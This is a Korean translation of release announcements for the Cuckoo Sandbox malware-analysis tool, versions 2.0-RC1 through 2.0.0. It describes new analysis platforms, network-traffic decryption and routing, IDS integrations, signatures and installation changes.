CUCKOO SANDBOX 2.0.0

오늘은 가장 중요한 오픈 소스 자동화 악성코드 분석 샌드박스인 Cuckoo Sandbox에게 중요한 날이다. 지난 1년 동안 작업한 끝에 Cuckoo Package (코드명 "package")의 첫 번째 버전을 출시했다. 우리 릴리즈의 기존에 했던 것처럼 많은 개선사항, 새로운 개념, 안전성 조정 등 도입하였으나 이러한 모든 세부 사항에 대해 이 게시물에서 설명할 수 없다.

Cuckoo Package는 배치, 유지 보수, UX & User Interaction 그리고 Cuckoo Sandbox 자체의 개발 주기와 관련하여 새로운 미래를 만날 수 있다. 이러한 부분은 지금까지 2010년 초반부터 사용성과 UX 측면에서 개선해야 했던 중요한 부분이었고, 개발팀과 사용자 모두에게 새로운 시대의 시작을 의미한다.

유용성과 UX, 안정성 향상 그리고 기타 변경사항의 세 가지 범주로 구분하여 개선 사항을 언급한다.

Usability & UX

이번 릴리즈에서 가장 중요한 부분은 사용자를 위한 초기 설정을 간소화한다는 목표를 처음 적용한 것이다. 기존의 설치 과정은 초보 사용자가 Cuckoo Sandbox를 설치하는데 최대 3일이 소요될 수 있다. 하지만 이번 릴리즈를 통해 설치 시간을 1 시간으로 줄일 것이다. (VM 설정은 나중에 포함)

이제부터 $ pip install -U cuckoo를 실행하여 Cuckoo를 설치할 수 있다. 물론 더 많은 설치 단계가 있지만, 이렇게 설치하는 형태가 가능하다면, Cuckoo 설치와 업그레이드는 이 명령으로 간단하게 수행할 수 있다. pip install이 제대로 작동하지 않는 경우 운영체제별 pip 설치 방법을 고려한다.

수 많은 사용자가 보고한 다양한 문제를 해결하기 위해 많은 노력을 기울였다. 이러한 노력의 결과로 다음과 같이 많은 일반적인 오류를 완화할 수 있었다.

  • critical timeout이 에러로 처리하지 못했던 문제
  • 누락된 가상머신의 스냅샷 문제
  • 파이썬 패키지 누락으로 인한 설치 문제
  • 호환되지 않는 파이썬 패키지 버전 문제
  • 구성을 잘못 했을 때 발생하는 문제

이번 릴리즈는 Cuckoo 웹 인터페이스에 대한 많은 업데이트를 진행했으며, 초보사용자는 물론 고급 사용자가 이러한 업데이트를 최대한 활용할 수 있도록 단순화된 UX를 제공한다. 다른 많은 업데이트 중에서 다음과 같은 개선 사항을 강조한다.

  • nested archive와 전역 & 분석 별 고급 옵션을 완벽하게 지원하는 submit 페이지
  • Night & Cyborg 테마
  • 최근 분석 페이지에서 지연 로딩(Lazy loading)과 필터링
  • 새로운 대시 보드, 분석 요약 그리고 네트워크 트래픽 페이지

유용성과 관련해서 다음과 같은 부분이 있다.

  • 공식적인 윈도우와 Mac OS X 호스트 지원
  • Cuckoo에 있는 모든 기능(cuckoo -d, cuckoo api, cuckoo web 그리고 cuckoo process가 실행하는 것이 무엇인지를 추측)을 포함한 Cuckoo 을 소개
  • Cuckoo를 반자동으로 실행하고 계속 실행되도록 감시하는 supervisor 기반 구성 파일
  • 유니코드 파일 이름 & 큰 파일 지원 (예, 최대 1GB 파일을 성공적으로 테스트)
  • 전자 메일 편지함에서 첨부 파일 (또는 전자 메일 자체)를 Cuckoo (nested archive 지원을 사용)로 직접 전달하여 악성에 대한 실시간 정보를 얻을 수 있는 기능
  • 토르 네트워크 라우팅 지원
  • SaltStack용 Cuckoo 모듈을 사용하여 여러 서버를 빠르게 배포

Stability Improvements

이번 릴리즈에는 안정성 조정과 단위 테스트에 대한 많은 작업을 포함했다. 특히, 코드 베이스의 50% 이상에서 단위 테스트를 결합하여 600개가 넘는 단위 테스트를 수행했다. 그 외에도 거의 100 가지 기능 테스트를 진행했다. 이러한 테스트는 이전의 단위 테스트보다 큰 진전이 있었지만, 사실상 아무것도 아니었다. 이전 버전의 Cuckoo와 호환성이 보장되지 않지만, 이러한 단위 테스트를 통해 새로운 기능이 실제로 동작한다는 것을 증명하고, 새로운 기능을 보다 신속하고 지속적으로 개발하고 출시할 수 있게 바뀔 것이다.

당연히 새로운 버전은 더 안정적일 뿐만 아니라 개선된(그리고 선택사항으로) 사용자 지원을 통합되었다. 분석이 예상대로 동작하지 않을 경우 feedback 버튼을 클릭하여 고려 사항을 양식에 작성한다. 우리는 작성한 메시지와 함께 분석 사본(우리와 공유하고자 하는 한도 내에서)을 얻고, 이를 기반으로 비교적 신속하게 문제를 조사할 수 있으며, 문제가 해결 될 때 ETA나 수정 방법을 제시하고, Cuckoo 사용자 설정에 대한 타당한 해결을 위해 이메일을 통해 주고 받으며, 향후 출시에 버그 수정을 포함시켜 이 버그가 더 이상 발생하지 않도록 할 수 있다.

Misc changes

이전에 설치한 Cuckoo Sandbox에 모든 구성과 분석을 포함한 경우 좋은 소식이 있다. 바로 새로운 버전에서는 기존의 Cuckoo 설정을 가져올 수 있다. Cuckoo는 데이터베이스 마이그레이션과 구성 마이그레이션 (예, cuckoo.conf와 기타 구성 파일에 변경사항이 있는 경우)을 적용하고 기존의 모든 분석을 포함하는 새로운 Cuckoo 환경을 준비하고 있다. 기존 설정으로 업그레이드하는 것은 쉬운 일이 아니다. 이 업그레이드 중에 로컬 설치에 적용된 모든 코드 변경사항은 고려되지 않는다. 이러한 것은 수동으로 적용해야 한다. 이 문제에 대한 도움을 받으려면 우리 팀에 문의하기 바란다.

이 릴리즈에는 많은 크고 작은 개선 사항이 있다. 공평하게, 1년의 발전에 기대하는 또 다른 것이 있을까? 이러한 의문을 해결하기 위해 다음과 같이 빠르게 나열해본다.

  • JSON 로깅 (Spluck나 ELK/Grafana와 같은 것과 통합)
  • report.html 업데이트
  • 적절한 VirusTotal 키로 구성된 경우 샘플 해시 제출
  • Yara 규칙과 Cuckoo 시그니처와의 상관 관계가 쌍으로 생성하는 것을 단순화 함 (Yara로 군/변형을 식별하고 Cuckoo 시그니처를 사용하여 관련 정보를 추출하는데 매우 유용)
  • SMTP 트래픽의 적절한 추출
  • Cuckoo 모니터가 IE11을 지원
  • Cuckoo 모니터에서 "트리거" 지원, 즉, API 호출 시 로깅을 시작하는 것으로 예를 들어, 실제 문서에 접근한
  • Office Word를 모니터링 (이를 통해 일부 정크 API 호출을 줄임)
  • 파워쉘과 .NET을 지원하는 Cuckoo 모니터

Upcoming

앞으로 릴리즈하여 포함될 내용에는 여전히 크고 작은 변화가 많이 있다. 이제는 업그레이드가 훨씬 쉬워져 (예로, $ pip install -U cuckoo) 업데이트를 자주 할 것이다. - 꼭 그렇게 하도록 구성할 것이다. 새로운 기능, 치명적인 버그 수정 등 필요할 수 있다. 

다음에 나오는 아이디어, 기능 그리고 개조를 통해 이룰 예정이다.

  • Cuckoo의 윈도우 커널 드라이버인 zer0m0n의 초기 통합 릴리즈
  • Suricata 통합 개선 및 업데이트
  • 더욱 완벽한 IE11 지원
  • (HTML 보고서를 기반으로 한)PDF 보고서
  • InetSim 네트워크 라우팅 지원
  • 수치화를 알파-소프트웨어 퀄리티가 아닌 수준으로 향상
  • 시작시 웹 기반 설치 포털에서 시작
  • 적절한 검색 기능 (MongoDB & ElasticSearch 기반)
  • 웹 인터페이스에 통합된 Cuckoo 사용 설명서
  • 사용자가 보고한 모든 버그 수정
  • 안정성 향상 및 단위 테스트 강화
  • ... 그리고 이미 50 이상의 개조 및 개선 작업을 수행 ;-)

향후 버전에서 기능 요청, 부가 기능 등을 확인하고 싶은가요? 아래 연락처 정보를 확인하고, 이래의 did you know를 확인하세요.

Conclusions

이번 릴리즈는 많은 새로운 특징과 기능을 사용자에게 제공한다. 단순화된 설정과 사용 패턴을 통해 프로젝트에 보다 쉽게 접근할 수 있고 현재의 모든 환경에서 보다 쉽게 통합될 수 있기에 보다 광범위한 사용자 기반을 형성하길 바란다.

의견 및 질문이 있으면, IRC (#cuckoosandbox on irc.freenode.net), Github 저장소, 또는 이메일로 문의해주길 바란다. 향후 블로그 게시물, 발표 자료 및 기타 공지사항에 대한 최신 정보를 얻으려면 이메일을 보내주세요.

Did you know?

놓친 몇가지 내용은 다음과 같다.

  • 우리는 Cuckoo를 필요로 하는 조직에 컨설팅 서비스를 제공한다. 설치, 설정 확인, 버그 수정, 새로운 기능, 사용자 지정 통합, 교육 그리고 Cuckoo 주변의 다양한 기능에 대한 도움을 주고 있으니 고려 바란다.
  • Cuckoo는 지역 전자 메일 솔루션IDS 시스템을 통합하여 누군가가 파일을 열어 잠재적인 유출과 데이터 손상을 받기 전에 방지하여 ransomware나 기타 잠재적인 악의적인 문제를 식별할 수 있다.
  • 우리는 다양한 컨퍼런스 (예, 암스테르담의 Hack in the Box, 라스베가스의 Blackhat & Defcon 등)에 참석할 예정이기에 이곳에서 토론할 수 있다. 

우리의 이런 활동은 사용자와 스폰서 없이는 가능하지 않았을 것이다. Cuckoo Sandbox를 사용하고 지원해 주신 모든 분들께 감사드린다.

원본 사이트


CUCKOO SANDBOX 2.0 RELEASE CANDIDATE 2

이번에 Cuckoo Sandbox 2.0 Release Candidate 2를 출시를 발표하게 되어 기쁘다. 이 버전에서는 많은 버그를 수정하고 구성요소와 분석 정확도 그리고 유용성 등 다양한 부분을 개선한다.

다음은 주요 변경사항 목록이다.

  • 보고서 공유와 디버깅 사용자 문제를 단순화하기 위한 Import와 Export 분석 기능
  • Cuckoo 모니터링의 안정성 향상
  • MISPIRMA를 통합
  • 분석 기능이 분석 대상 시스템의 재부팅에도 생존할 수 있는 기능을 소개(여전히 작업중인 상태)
  • 자바스크립트와 VBA 스크립트를 내장한 Office Word / Adobe PDF 분석
  • 프로세스 메모리 덤프에서 메모리 내 PE 파일 추출
  • 글로벌 검색 기능을 위한 ElasticSearch 통합
  • Ubuntu 16.04 지원
  • 기타 등등

짧은 요약에서 결론지을 수 있듯이 주안점은 사용자 경험을 기반으로 Cuckoo를 개선하고, 문서를 기반으로 하는 악성코드를 분석하는 기능을 추가했으며 전반적으로 안정성을 도모했다.

새로운 기능과 다양한 가능성을 소개했으므로 일부는 문서화되지 않은 채 배포하고 있으며, 이로 인해 일부 사용자는 그 기능을 사용해볼 수 있다. 이 과정에서 문제를 수정하고 더 많은 블로그 게시물로 지속적으로 문서를 보완할 계획을 가지고 있다. 예를 들면, "네트워크 라우팅마다 분석하는 방법을 알고 있나요?" 같은 문서를 포스팅하는 계획이다.

이러한 계획은 가까운 미래에 도래될 일이다.

UPCOMING: CUCKOO PACKAGE

Cuckoo Sandbox를 개발해온지 6년지 지났다. 그동안 Cuckoo 설치 과정을 간소화하기 위한 시도는 있었지만, 아직까지 제대로 해결되지 않은 다양한 문제가 남아있다. 예를 들어 Cuckoo 인스턴스를 최신 개발 버전으로 업데이트할 때 기존의 Cuckoo 구성 요소를 백업해야 한다. 그렇지 않으면 Git이 새로운 코드로 사용자의 설정을 덮어쓰지 못해 가져올 수 없게 된다. (Git 저장소에 속한 파일로 추적됨)

Cuckoo Sandbox 2.0-RC2는 사용자가 지난 몇 년 동안 사용하고 있는 것으로 알려진 시스템을 사용하는 경우 "lagacy" 릴리즈를 할 것이다. 차기 버전은 pip install cuckoo로 설치하고 pip install -U cuckoo를 통해 업그레이드하는 패키지 기반의 Cuckoo로 진행할 예정이다. 실행중인 Cuckoo나 그에 속한 하위 명령은 cuckoo 명령으로 제어 가능하므로 Cuckoo 유틸리티를 통해 모든 명령이 통합될 것이다.

이 기능은 앞으로 출시될 예정이며, Github의 Pull Request #863 또는 패키지 브런치를 위한 종합 문서에서 Cuckoo 패키지의 새로운 부분에서 자세한 내용을 살펴볼 수 있다. 이로써 사용자 경험을 단순화할 뿐만 아니라 지금까지 까다롭고 시간이 소비되는 릴리즈 프로세스를 간소화할 수 있어 매우 기쁘게 생각한다.

UPCOMING: IMPROVED WEB INTERFACE

웹 인터페이스를 새롭게 고치는데 많은 노력을 기울이고 있고, 늦은 감이 있지만 많은 기능들을 확장하게 되었다. 여기에는 성능 향상, 테마 선택, 분석 요청 옵션 확장 등이 포함된다. 이러한 부분은 블로그나 SNS를 꾸준히 지켜봐 주길 바란다.

UPCOMING: SPOOFING ANTI-ANALYSIS TRICKS BY MALICIOUS DOCUMENTS

스팸 전자 메일에 첨부된 악의적인 문서를 주로 분석하는 사람은 이번에 개발된 Cuckoo를 좋아할 것이다. 예제를 살펴보고 싶다면 PhishMe의 글을 참고하자. 분석되고 있는지 아닌지 결정하기 위해 악성 문서가 인터넷에 연결되어 GeoIP를 수행하는 방법을 설명한다.

이제 HTTP 요청에 대한 응답으로 위장(spoofing)하는 것은 쉬운 일인 것처럼 보일 수 있으나, 적절하고 깔끔하게 구현하기 위해서 많은 작업이 필요하다.

  • 전자메일에 첨부하는 방식은 종종 아카이브에서 배포된다. 이 아카이브를 분석하기 위해서 각각의 파일을 별도로 분석해야 한다. 이러한 이유로 새로운 웹 인터페이스를 제작하고 있다.
  • 무작정 악성 아카이브는 압축 해제할 수 없다. 해제를 위한 프로세스는 임의의 파일로 덮어쓰는 공격과 다양한 RCE 취약점에 대한 잠재적인 공격을 피하기 위해서라도 샌드박스가 필요하다. ZipJail을 알고 싶다면 Github 페이지에서 자세한 내용을 읽을 수 있다.
  • transparent 모드에서 mitmproxy를 실행한다. 일부 트래픽은 우리가 위장하길 원하지만(예, GeoIP 요청의 HTTP 응답을 스푸핑), 대부분은 우리가 구성한 네트워크 경로(no 라우팅, drop 라우팅, dirty line, InetSim, Tor, 여러 개로 구성된 VPN 중 하나를 지원)를 사용하길 원한다. 이 문제를 해결할 수 있는 방법은 다양하지만, 가장 깔끔한 방법은 완전한 형태의 transparent 프록시 모드를 사용하는 것이기에 이 부분을 도움 받았다.
  • 향후 필요에 따라 쉽게 확장할 수 있기를 바라며, 분석마다 사용할 수 있는 mitmproxy 플러그인 스크립트를 개발할 예정이다.
  • VBA 메서드나 자바스크립트 함수가 호출되는 것과 같은 상위 수준의 동작 정보는 매우 유용하다. 2.0-RC1 릴리즈에서 인터넷 익스플로러 8과 비슷한 작업을 수행했다. Adobe PDF Reader 9뿐만 아니라 Microsoft Office 2007의 특정 버전에 맞춘 기능을 추가했다(이 부분은 이미 2.0-RC2 릴리즈에 포함되었다.)

이 포스트는 단순한 기능을 작업하기 위해 수행해야 할 작업이나 수행된 작업에 대한 요약이다. 많지만 작은 변화들은 곳곳에 널려있고, 사용자들은 큰 변화만큼이나 필요하다고 생각하지 않을 것이다. 하지만 이러한 변화들은 우리를 바쁘게 하고 재미있게 만든다.

CONCLUSIONS

Cuckoo Sandbox를 사용하는 모든 분들께 감사의 인사를 드린다. 의견이 있다면 언제든지 연락주시길 바란다.

이번 버전에도 감사드리며 향후 안정화된 버전인 2.0이 출시되길 기대한다.

기다리는 동안 우리의 GithubSNS를 팔로우하고, 우리의 컨설팅 서비스에 대해 자세히 알아봐 주시길 바란다.

출처


개요

이제 Cuckoo Sandbox 버전 2.0 RC1이라는 새로운 릴리즈를 출시했다. 이번 릴리즈는 1.2 릴리즈 이후 10개월 만에 출시했으며 2.0 릴리즈를 위한 개발은 1년 반 전부터 준비해왔다.

Cuckoo Sandbox 2.0은 아직까지 대규모 릴리즈는 아니며, 다양한 기능이 알파 또는 베타 단계에 있기 때문에 Release Candidate 1을 사용하여 릴리즈 체계를 가지기로 결정했다. 실제로 사용자가 원하는 안정화 버전인 2.0을 진행하기 앞서 몇 달 동안 두 번의 Release Candidate를 보여주는 것이며, 이 과정을 통해 버그를 식별하고 수정하고 기존 기능을 확장하여 안정적으로 최종 버전으로 완료하기 위함이다. 다시 말해서, 이 버전을 사용하고 테스트를 진행하여 안정적인 2.0 버전으로 보다 빨리 달성할 수 있도록 사용자에게 요청하는 것이다. 주의 사항: 제품 환경에 이 버전을 적용하기 앞서 언급한 바와 같이 몇 가지 기능이 불완전하고, 일부 기능은 중단되었음을(예, 웹 인터페이스의 검색 기능) 알아두었으면 한다.

TL;DR NEW?

이번 포스트에서 Cuckoo Sandbox 2.0-rc1의 재미있는 항목을 상세히 설명할 것이지만, 내용이 길어 지루해하는 사람을 위해 다음과 같이 간략하게 소개한다.

  • 64비트 윈도우 응용프로그램과 샘플을 모니터링
  • Mac OS X, 리눅스, 그리고 안드로이드 분석 지원
  • Suricata, Snort 그리고 Moloch와 통합
  • TLS/HTTPS 트래픽 인터셉트와 복호화
  • VPN 지원을 포함한 라우팅마다 네트워크 분석
  • 악성 행위를 격리하고 식별하기 위한 300개 이상의 시그니처
  • 분석 중 변경사항을 강조하기 위한 볼라티리티 baseline capture
  • 프로세스 메모리 덤프에서 URL 추출
  • 분석 중에 별도의 VM에 추가 서비스 실행 가능
  • 악성 수치화 - 이 분석에서 악성 행위를 보여주는가?
  • 많은 버그 수정, 개선, 개조 및 자동화 개선

64-BIT ANALYSIS ON WINDOWS

개발자는 지난 1년 반 동안 개발해왔던 새로운 모니터링 구성 요소를 미리 사용할 수 있었기에 꽤나 오랫동안 64비트 샘플과 응용 프로그램을 분석할 수 있었다. 사실 64비트 윈도우 7의 64비트 인터넷 익스플로러 8의 상황에서 새 모니터링 도구가 HTML DOM과 자바스크립트의 작은 집합을 가로챌 수 있어서 32비트 버전의 인터넷 익스플로러보다 훨씬 많은 결과를 얻을 수 있다.

다음 이미지에서 <script> 태그에 포함된 자바스크립트 코드가 표시된 HTML 문서를 살펴볼 수 있다. 자바스크립트 블록을 평가한 후에 즉시 CHyperlink_SetUrlComponent를 호출하는 것을 볼 수 있다. 이것은 약간의 기술적인 이름이지만, mshtml.dll의 PDB 심볼마다 일치하는 이름이다. 자바스크립트에서 결론 지을 수 있듯이, HTML 태그에 새로운 하이퍼링크를 지정할 때 생성되는 기본 호출이다. 바로 다음을 살펴보면 HTML script 요소에 있는 URL을 업데이트하는 CScriptElement_put_src가 있음을 볼 수 있다. 이 기능을 사용하면 동적으로 실행되고 스스로 압축을 해제하는 자바스크립트 동작을 살펴볼 수 있다.

지금까지 살펴본 것은 Cuckoo Sandbox 2.0-rc1이 새롭게 분석할 수 있는 한 가지 예제일 뿐이다. 앞으로 블로그 게시물을 통해 새롭게 도입된 많은 새로운 기능들을 깊이 있게 소개할 예정이다.

MAC OS X ANALYSIS

GSoC 2015 (Google Summer of Code)의 한 파트로 Dmitry Rodionov는 Cuckoo Sandbox에서 사용할 수 있는 Mac OS X 분석기를 제작했다. OS X 분석은 OS X 가상 머신을 자동으로 사용하는 기능이 핵심이기에 Mac OS X 호스트 시스템에서 실행시키거나 Hackintosh VM을 사용해야 한다. 이는 Apple의 서비스 약관을 위반한 것일 수 있다. 하지만 우리는 책임을 지지 않겠다.

OS X 분석기는 OS X 커널에 내장된 강력한 동적 추적 프레임워크인 Dtrace를 기반으로 제작하여 사용자 영역의 프로세스는 물론 커널 내 활동을 추적할 수 있으며, Dtrace는 자체 스크립팅 언어(기본적으로 C언어의 하위 구성)를 사용하고, 분석 체계 구성을 용이하게 하기 위해 분석기에 미리 구성한 API 목록을 기반으로 하는 DTrace 코드 생성기를 함께 제공한다.

LINUX ANALYSIS

Mark Schloesser는 Cuckoo를 이용하여 리눅스를 분석하기 위해 노력해왔다. 매끄러운 SystemTap 스크립트를 사용하는 Cuckoo는 여기저기에 있는 Shellshock과 ElasticSearch 취약점의 부분으로 삭제된(dropped) 최신 샘플로 적절히 분석하는 방법을 배웠다.

이론적으로 리눅스 분석은 분석 대상 바이너리와 하위 프로세스에 의해 실행되는 syscall을 추적하면 되기에 매우 단순하다. Sysdig, LTTNG와 SystemTap과 같은 몇 가지 기존 프로젝트가 있으며, 커널을 모니터링하기 위해 주로 커널 메인라인을 추적하는 서브 시스템을 사용한다. 아쉽게도 다양한 아키텍처를 다루려고 할 때 문제가 발생한다. 일부는 x86에서, 일부는 x64에서 또 다른 일부는 둘 다 작동한다. ARM, MIPS 및 다른 플랫폼으로 확장할 땐 더 큰 문제가 발생한다. 예를 들어 임베디드 장치를 대상으로 하는 일부 악성코드를 분석하기 위해 특별한 환경이 필요할 수 있다. 우리는 OpenWRT 환경이 필요한 악성코드를 조사했고 Cuckoo에서 이 악성코드를 분석할 수 있도록 준비했다.

결국 현재 구현한 리눅스 분석기는 가장 선호하는 디자인은 아니지만 SystemTap을 사용하며, 모든 플랫폼에서 비교적 잘 동작한다. non-native 플랫폼을 실행하기 위해 QEMU 모듈을 구현했고 x86/x64 분석은 Virtualbox / KVM 등으로 분석을 수행할 수 있다. VM은 항상 파이썬 에이전트를 실행해야 하며 시스템 호출 추적을 위해서는 SystemTap이나 적어도 "staprun" 도구와 함께 컴파일한 SystemTap 커널 모듈이 필요하다. 분석기는 또한 trace로 fall back 할 수 있지만, 이는 하위 프로세스를 추적하지 못하는 것으로 보이며, 또한 출력을 위한 파서를 구현하지 않았다. SystemTap 추적의 경우 출력을 구문 분석하여 웹 인터페이스에 Windows API 로그와 똑같이 표시할 수 있다.

이 리눅스 구현에 대해 개선해야 할 부분은 많지만 당장은 단순하게 구현했으며 대부분 샘플을 분석할 수 있다.

ANDROID ANALYSIS

이제 분석할 수 있는 대부분의 주요 플랫폼을 다루었기에 안드로이드만 남았다. 고맙게도 Idan Revivo의 고생 덕분에 Cuckoo 팀은 안드로이드 분석을 통합할 수 있었다. Idan은 Cuckoo Droid로 알려진 안드로이드 분석 플랫폼을 Cuckoo 버전으로 유지하며 새로운 악성 안드로이드 샘플이 발견되면 새로운 시그니처를 추가했다.

Cuckoo Droid는 adb를 사용하여 안드로이드 에뮬레이터를 실행하는 것(따라서 actual/native 안드로이드 기기에서 분석을 실행하는 것을 지원)을 기반으로 달빅/자바 런타임에 연결하여 샘플의 행위를 가로챈다. 이 가로채기 위해 eXposed 프레임워크를 사용하여 새로운 애플리케이션을 분석하기 위해 로드되는 다양한 자바 기능을 재작성하고 기록하는 모니터링 도구인 Droidmon을 개발했다.

꽤 많은 함수를 가로채며 추가로 JSON 파일에 새로운 항목을 추가하면 더 많은 기능을 가로챌 수 있다.

INTEGRATION WITH PCAP ANALYSIS TOOLS

많은 사용자들은 생성되는 네트워크 트래픽(CERT/IR 팀의 생각)에 관심이 많기 때문에 PCAP 분석을 위해 Suricata, Snort 그리고 Moloch를 Cuckoo에 통합할 수 있는 기회를 놓치지 않았다. (참고로 Metcalf가 만든 파생된 Cuckoo에서 이미 Suricata와 Moloch 통합하여 지원했지만, 우리도 마찬가지다.)

다음은 Malware Analysis Traffic에서 수동으로 가지고 온 PCAP을 이용하여 Cuckoo의 Suricata에서 출력해 보니 두 가지 Exploit Kit 관련 경고를 출력한다.

[이미지가 없음]

이제 Suricata 시그니처(SID는 일치하는 규칙의 Suricata ID다), 아이피 주소나 도메인 이름(해당 탭으로 이동하는 경우)을 찾았는지 그 여부를 확인하기 위해 해당 Suricata 시그니처를 클릭하면 되며, 하이퍼링크를 통해 Moloch 웹 인터페이스로 이동한다. 여기서 Cuckoo는 우리가 관심 있는 정확한 기준과 일치하도록 쿼리를 자동으로 수행한다.

몇 초 안에 아이피 주소 / 도메인 이름 / SID 등과 일치하는 다른 Cuckoo 분석을 볼 수 있다. Moloch는 PCAP 파일을 처리할 수 있는 뿐만 아니라 회사 전체의 트래픽을 수집하는 데 사용할 수 있으므로 Moloch 검색의 한계를 가늠할 수 없다. Moloch는 또 다른 커뮤니티 프로젝트로서 원격 스택 버퍼 오버플로우, 크로스 사이트 스크립팅 취약점 몇 개 그리고 일부 범위를 벗어난 Moloch 프로젝트의 충돌을 보고할 기회를 얻었고, 이로써 Moloch의 안정성이 향상되었으며, 이 도구를 사용하는 Cuckoo 사용자도 이 커밋에서 더 많은 정보를 찾을 수 있다.

Cuckoo는 Snort 출력도 보여주지만, Unix 소켓 지원을 통해 PCAP을 신속하게 분석할 수 있는 Suricata와 달리 각각의 PCAP 파일을 분석하기 위해 별도로 실행되어야 하므로 CPU를 상당히 의존하게 된다. (100% 사용 시 한 프로세서 당 최대 30초가 소요 - VM에서 실제 분석을 수행하기 위해 요구하는 CPU 성능보다 상회한다.)

마지막으로 Suricata와 Snort의 유용성은 전적으로 작성된 룰셋에 기반한다는 것에 유의한다. 다행스럽게도 새로운 위협(Suricata 스크린샷의 ET라는 서명에서 볼 수 있듯이)에 대응하기 위해 수만 가지의 룰셋을 무료로 제공한다. 이들 중 많은 것들은 유용하게(use-case) 적용되지 않지만, 무료 정보로 활용할 가치는 있다.

HTTP/HTTPS DECRYPTION AND PARSING

HTTP/HTTPS 트래픽 관련하여 개발하는 것은 꽤나 흥미로웠다. Cuckoo는 현재 반년 이상 운영해 왔으므로 TLS Master Secret를 추출할 수 있다. 구체적으로 말하자면 TLS 트래픽의 암호화 키를 가로채서 HTTPS 트래픽을 효과적으로 복호화할 수 있다. TLS Master Secrets 블로그 포스트에서 읽어볼 수 있듯이 tlsmaster.txt로 불리는 파일은 Wireshark에서 키와 관련된 PCAP을 로드할 때 HTTPS 트래픽을 복호화한다. 

Wireshark로 트래픽을 복호화하는 것은 하나의 일이지만, Cuckoo 웹 인터페이스의 PCAP 파일에서 HTTP와 HTTPS 흐름을 표시하고 수동적으로 추출하는 것은 또 다른 일이다. 이러한 기능을 만들기 위해 HTTPReplay라는 새로운 라이브러리를 제작했다. 이 라이브러리를 사용하도록 설정(즉, 설치)하면 HTTPS 트래픽을 보는 것은 HTTP/HTTPS 탭으로 이동하는 것만큼 간단하다. 다음 스크린샷은 네덜란드 현지 은행인 ING의 통신 내용이다. (HTTPS 암호를 복호화하지 않더라도 64비트 분석 파트에서 설명한 대로 HTML DOM과 자바스크립트 이벤트가 계속 표시된다.)

우리가 원하는 접근방식에서 주목해야 할 점은 TLS를 명료하게 가로채는 것이다. 더이상 트래픽을 복호화하기 위해 VM에 인증서를 설치할 필요가 없지만 TLS Master Secrets를 추출할 수 있는 능력이 필요하며, 추출한 암호화 키와 상호 참조할 수 있는 PCAP 파일이 필요하다. Certificate Pinning을 할 수 있는 응용 프로그램과 함께 Cuckoo Sandbox의 동작이 HTTPS를 복호화한다. (일반적인 접근 방식인 정적인 SSL / TLS 라이브러리가 제공하는 가로채기 응용프로그램은 지원하지 않는다.)

라이브러리의 이름은 사용 목적과 일치하지 않지만, 궁극적인 목적 중 하나는 PCAP 파일(TLS Master Secrets와 자바스크립트 Math.random() 기능의 PRNG 상태를 포함할 필요가 있는 경우)과 함께 시작하여, 이 PCAP 파일에서 볼 수 있는 트래픽을 완벽하게 재생하는 웹 서버로 전환하는 것이다. 이는 차례로 다른 브라우저의 다른 버전에 대해 공격 시도를 단위 테스트하기 위해 이용할 수 있다.

PER-ANALYSIS NETWORK ROUTING

사용자는 약 5년 동안 Cuckoo를 사용하면서 네트워크 라우팅에 어려움을 겪어 우리는 이를 개선할 필요가 있어 보였다. 이 개발은 Erik Kooijstra와 n3sfox의 도움으로 빠르게 개발할 수 있었다. 몇 가지 간단한 구성 옵션을 통해 기본 dirty line, 하나 이상의 VPN을 정의할 수 있었으며 다음 릴리즈에서는 FakeNet과 InetSim과 같은 서비스로도 라우팅 할 수 있었다. 이 기능은 현재 Ubuntu/Debian에서만 지원되며 Cuckoo와 함께 릴리즈 된 추가 스크립트를 루트로 실행해야 한다. 이 스크립트는 Cuckoo가 명령하는 명령으로 실행한다. (이 모든 것을 Cuckoo는 권장한 것처럼 비-루트로 실행될 수 있다.)

늦게 배포하는 동안, Christmas Doge는 멋진 새로운 기능을 제공했다. 

DOGE

OVER 300 CUCKOO SIGNATURES

보다 정확하게 행동 가능한 데이터를 얻는 과정에서 새로운 시그니처를 개선하고 추가하는데 상당한 노력을 기울였다. 200개가 넘는 새로운 시그니처를 제공한 RedSocks에게 감사하며, 현재 각 분석에서 300개 이상의 시그니처를 사용한다.

다음과 같이 다운로드할 수 있다.

cuckoo $ /utils/community.py -waf

추가로 각 보고서에는 기본으로 악의적인 행위에 따른 점수를 계산하여 사용하는데, 이는 시그니처로 식별한 패턴을 통해 의심스러운 평균 수준을 수치화한 것이다. 점수가 낮다고 해서 악성이 아니다는 것은 아니지만 높은 점수는 잠재적으로 악성코드임이 분명하다. 사실, 낮은 점수를 가진 악성 샘플은 점수가 6 ~ 10점인 악성 샘플보다 흥미롭다.

다음 스크린샷에서 Poweliks 샘플을 분석했고 샌드박스에서 10점 중 10점을 받았다.

Poweliks with score 10.2

VOLATILITY BASELINE CAPTURE

TODO 리스트의 항목은 항상 끝나지 않기에, 일반적인 사용자나 잠재적인 기여자가 특정 기능을 요청하거나 제안, 제시할 때 리스트의 우선순위를 정한다. 각각의 VM에서 baseline 캡처 기능의 개념 증명을 만들어준 Bart Mauritz와 Joshua Beens 덕분에 Cuckoo는 이제 분석한 후 캡처한 Volatility 결과와 분석하기 전 캡처한 결과를 비교할 수 있게 되었다.

baseline 처리 모듈로 생성된 두 개의 서로 다른 Volatility 결과는 quick overview에서 비교를 통한 차이점만 출력한다. 어떤 서비스가 중지되었는지, 어떤 커널 드라이버가 추가되었는지 등 신속하게 확인할 수 있다.

다음 스크린샷은 http://www.google.com/에 대한 분석 결과로 baseline 처리 모듈이 적용되어 달라진 점을 보여준다. 특별한 것은 없지만 야후와 관련된 임의의 프로세스는 사라지고, 무작위 검색 프로세스가 시작되었으며, pythonw.exe도 시작되었다는 것을 볼 수 있다. 이 마지막 pythonw는 분석을 위해 사용되기에 분석이 끝날 때까지 동작한다. 특히 새로운 인터넷 익스플로러 프로세스가 없는데, 이는 인터넷 익스플로러가 분석이 끝나기 전에 닫히거나 종료되었다는 사실로 설명할 수 있어 Volatility 결과에는 나타나지 않는다.

Baseline difference capture of Volatility

URL EXTRACTION FROM PROCESS MEMORY DUMPS

한 동안 Yara 룰을 지지했고, 여전히 Yara 룰을 지지하고 있다. 그러나 때로는 메모리 덤프, 삭제된 파일 또는 단순히 분석을 요청한 바이너리 파일에서 URL을 간단히 추출하는 것이 더 좋을 수 있다. 이러한 방법은 이미 많은 발견되고 있는 악성코드 변종 군의 C&C 정보를 추출하는 것에 용이하고 이를 체계화하는데 도움이 된다. 이 부분은 향후 릴리즈에서 더 많은 자동화가 이루어질 수 있을 것으로 보인다.

